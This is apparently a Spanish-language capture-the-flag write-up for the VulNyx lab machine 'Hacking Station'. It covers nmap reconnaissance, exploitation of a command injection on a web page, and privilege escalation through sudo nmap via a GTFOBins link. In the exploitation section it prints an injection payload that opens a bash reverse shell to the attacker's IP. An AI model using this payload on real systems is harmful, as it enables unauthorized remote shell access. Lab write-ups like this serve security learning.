> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/writeups/vulnyx/hacking-station.md).

# Hacking Station

🔍 Dificultad: Muy Fácil

### 🔍 **RECONOCIMIENTO**

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 192.168.1.56
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FAy9Vm5I4Rx6JoEA81xml%2Fimage.png?alt=media&amp;token=07675eba-84f4-4ce8-b73a-ec07785440d5" alt=""><figcaption></figcaption></figure>

A continuación, se realiza el comando:

```bash
nmap -p- --open 192.168.1.56 --min-rate 5000 -n
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FSa7NszY7Ez6npzwEAXCY%2Fimage.png?alt=media&amp;token=bef7294b-6cdc-44a8-8538-c698c0464aaf" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo el **puerto 80** perteneciente al **servicio HTTP** está abierto, por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p80 -v 192.168.1.56
```

para obtener más información sobre ese puerto específicamente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F13nX8SbnMpLwNiHC8CbC%2Fimage.png?alt=media&amp;token=1f02e7ed-1917-425f-b29e-40529b6f23f9" alt=""><figcaption></figcaption></figure>

Revisamos puerto 80.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fx9pz5eiUB1ERWh82Jt0U%2Fimage.png?alt=media&amp;token=4ee76fd2-792f-4935-836f-b4c2ffdd4a94" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Consiste en un Command Injection por lo que nos mandaremos una Reverse Shell.

```bash
hola;bash -c 'bash -i >& /dev/tcp/192.168.1.65/4444 0>&1'
```

Nos ponemos en escucha.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F4H5hApzt6NQ7fGAxeZuS%2Fimage.png?alt=media&amp;token=27902d69-ed7c-409f-bdf2-56cfb96d3eb7" alt=""><figcaption></figcaption></figure>

Hacemos el [tratamiento de la TTY](https://invertebr4do.github.io/tratamiento-de-tty/#) para trabajar más cómodos.

### 🔐 PRIVILEGIOS

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FggXRDfJjO1ctIKNdHYMH%2Fimage.png?alt=media&amp;token=3ac8688b-cd7d-44ea-b9dd-bb4d879b3f1e" alt=""><figcaption></figcaption></figure>

{% embed url="<https://gtfobins.github.io/gtfobins/nmap/#sudo>" %}

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FYMQIitqH8ghwZJXbO4oC%2Fimage.png?alt=media&amp;token=6a8f553e-77d3-4bb5-aeee-208904436d44" alt=""><figcaption></figcaption></figure>
